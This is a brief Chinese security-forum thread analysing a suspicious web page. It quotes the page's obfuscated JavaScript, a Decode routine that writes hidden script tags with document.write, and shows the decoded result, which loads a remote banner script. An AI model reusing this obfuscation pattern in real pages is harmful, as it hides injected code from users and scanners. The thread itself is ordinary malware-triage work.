http://wpehrph186.2itb.com/17843.html

显示全部楼层 · 发表于 2013-5-23 22:09:28

啦啦啦

显示全部楼层 · 发表于 2013-5-23 22:12:36

进去乱码，PF和费尔无反应

显示全部楼层 · 发表于 2013-5-23 23:22:47

trendmicro block

显示全部楼层 · 发表于 2013-5-24 10:32:06

本帖最后由 dayangyang 于 2013-5-24 10:50 编辑

<SCRIPT LANGUAGE=JavaScript>
function Decode(s){
var s1=unescape(s.substr(0,s.length-1)); var t='';
for(i=0;i<s1.length;i++) t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
document.write(unescape(t));
}
Decode('-%3BK%7Bkzqx%7C-%3A8tivo%7Diom-%3BL-%3A%3Ari%7Ei%7Bkzqx%7C-%3A%3A-%3A8%7C%81xm-%3BL-%3A%3A%7Cm%80%7C7ri%7Ei%7Bkzqx%7C-%3A%3A-%3A8%7Bzk-%3BL-%3A%3A7koq5jqv7%7Eitqli%7Cmgjivvmz-%3BNmvk-%3BL%7F%7E%82-%3A%3D%3FJ%3C%3F-%3A%3A-%3BM-%3BK7%7Bkzqx%7C-%3BM8');
Decode('%297Gwgvmtx%2964perkyeki%297H%2966nezewgvmtx%2966%2964x%7Dti%297H%2966xi%7Cx3nezewgvmtx%2966%2964wvg%297H%29663gkm1fmr3zepmhexicferriv%297Jirg%297Htvi1tvic76%3B91tswxc8%3A9%3B4%2966%297I%297G3wgvmtx%297I4');
</SCRIPT>

复制代码

解密下来是

<script language="javascript" type="text/javascript" src="/cgi-bin/validate_banner?enc=wvz%7B47"></script>
<script language="javascript" type="text/javascript" src="/cgi-bin/validate_banner?enc=pre-pre_3275-post_46570"></script>

复制代码

这两个链接都是Page not accesible。。或者validate_banner("PAGE_ONLOAD");
另外比较可疑的是 http://wpehrph186.2itb.com 下有很多子页面，内容和这个相同，如476850.html，3466.html，151263.html等等。。。

这个类型的页面会包含以下主域名的页面：
http://phoenix.untd.com
或者
http://cyclops.untd.com
不过都无法访问。。。

[未鉴定] http://wpehrph186.2itb.com/17843.html

评分